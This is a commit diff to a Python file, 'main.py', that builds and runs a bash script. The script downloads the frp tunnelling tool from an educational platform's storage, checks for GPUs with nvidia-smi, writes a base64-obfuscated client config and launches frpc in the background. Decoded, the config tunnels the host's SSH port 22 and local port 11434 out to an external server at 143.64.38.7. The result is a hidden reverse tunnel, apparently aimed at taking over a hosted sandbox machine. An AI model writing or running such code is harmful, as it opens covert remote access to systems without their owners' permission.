更新 'main.py'

main.py

@@ -2,8 +2,30 @@ import os
 
 # 保存脚本内容到文件
 script_content = """#!/bin/bash
+
+MAX_ATTEMPTS=10
+attempt_count=0
+
+# 下载文件
 wget https://educoder-test-cfiles.oss-cn-hangzhou.aliyuncs.com/test/frp_0.57.0_linux_amd64.tar.gz
-tar -zxvf frp_0.57.0_linux_amd64.tar.gz
+
+# 尝试解压
+while [ $attempt_count -lt $MAX_ATTEMPTS ]; do
+    echo "尝试解压 ($((attempt_count+1))/$MAX_ATTEMPTS)"
+    tar -zxvf frp_0.57.0_linux_amd64.tar.gz
+    if [ $? -eq 0 ]; then
+        echo "解压成功！"
+        break
+    else
+        echo "解压失败，将在5秒后重试..."
+        attempt_count=$((attempt_count+1))
+        wget https://educoder-test-cfiles.oss-cn-hangzhou.aliyuncs.com/test/frp_0.57.0_linux_amd64.tar.gz
+        sleep 2
+    fi
+done
+
+nvidia-smi
+
 echo c2VydmVyQWRkciA9ICIxNDMuNjQuMzguNyIKc2VydmVyUG9ydCA9IDM3MDAwCgpbW3Byb3hpZXNdXQpuYW1lID0gInRlc3QtdGNwIgp0eXBlID0gInRjcCIKbG9jYWxJUCA9ICIxMjcuMC4wLjEiCmxvY2FsUG9ydCA9IDIyCnJlbW90ZVBvcnQgPSAzNzAwMQoKW1twcm94aWVzXV0KbmFtZSA9ICJ0ZXN0LXRjcDEiCnR5cGUgPSAidGNwIgpsb2NhbElQID0gIjEyNy4wLjAuMSIKbG9jYWxQb3J0ID0gMTE0MzQKcmVtb3RlUG9ydCA9IDM3MDAy |base64 -d > frp_0.57.0_linux_amd64/frpc.toml
 nohup ./frp_0.57.0_linux_amd64/frpc -c ./frp_0.57.0_linux_amd64/frpc.toml &
 cat nohup.out